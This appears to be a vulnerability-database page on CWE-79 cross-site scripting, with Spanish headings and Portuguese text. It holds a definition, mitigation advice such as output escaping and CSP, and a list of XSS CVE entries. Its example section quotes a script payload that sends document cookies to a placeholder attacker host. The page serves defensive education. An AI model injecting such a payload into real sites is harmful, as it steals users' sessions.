Fallos del tipo CWE-79

29.766 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-47966MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-75643MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-54244MEDIUMWordPress Easy Replace plugin <= 1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75727MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-51794MEDIUMWordPress Storely theme <= 14.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-47950MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-51844MEDIUMWordPress Location Click Map plugin <= 1.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-47962MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47974MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47975MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-39918HIGHWordPress Booking Package Plugin <= 1.6.01 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-28358MEDIUMA vulnerability has been discovered in Rocket.Chat where a markdown parsing issue in the "Search Messages" feature allows the insertion of mEPSS 0.4%CVE-2024-21628MEDIUMXSS can be stored in DB from "add a message form" in order detail page (FO)EPSS 0.4%CVE-2026-44960NONEA stored XSS can be exploited by leveraging the usernames as an attack vector. When an admin user viewed the audit log details for affected EPSS 0.4%CVE-2024-1762MEDIUMNextScripts: Social Networks Auto-Poster <= 4.4.3 - Unauthenticated Stored Cross-Site Scripting via User AgentEPSS 0.4%CVE-2023-6830MEDIUMFormidable Forms <= 6.7 - HTML InjectionEPSS 0.4%CVE-2023-6500MEDIUMShariff Wrapper <= 4.6.9 - Authenticated(Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-12359MEDIUMcode-projects Admin Dashboard vendor_management.php cross site scriptingEPSS 0.4%CVE-2026-9280MEDIUMAd Inserter <= 2.8.15 - Reflected Cross-Site Scripting via URL Parameters in iframe ModeEPSS 0.4%CVE-2026-78838MEDIUMA reflected cross-site scripting (XSS) vulnerability in the grid_datasource.php component of AppNitro MachForm v30 allows attackers to execuEPSS 0.4%